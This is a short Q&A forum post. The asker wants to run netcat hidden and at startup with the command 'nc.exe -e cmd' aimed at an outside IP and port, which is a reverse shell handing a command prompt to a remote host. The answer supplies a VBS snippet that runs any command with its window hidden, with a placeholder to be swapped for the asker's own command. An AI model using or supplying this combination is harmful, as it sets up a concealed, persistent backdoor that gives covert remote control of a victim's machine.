menu

Questions & Answers

Run nc.exe in background

I'm trying to run nc.exe in background so it does not appear. All of the methods online say to use vbs files alongside bat files but that doesn't work as netcat opens a window anyway.

Is it possible to run in the background and on startup?

Command: nc.exe -e cmd 123.123.123.123 1234

Answers(1) :

You don't really need a .bat file, just the .vbs:

' test.vbs
Dim command
command = "ping.exe localhost" ' Replace with your own command
CreateObject("Wscript.Shell").Run command, 0 ' 0 means hidden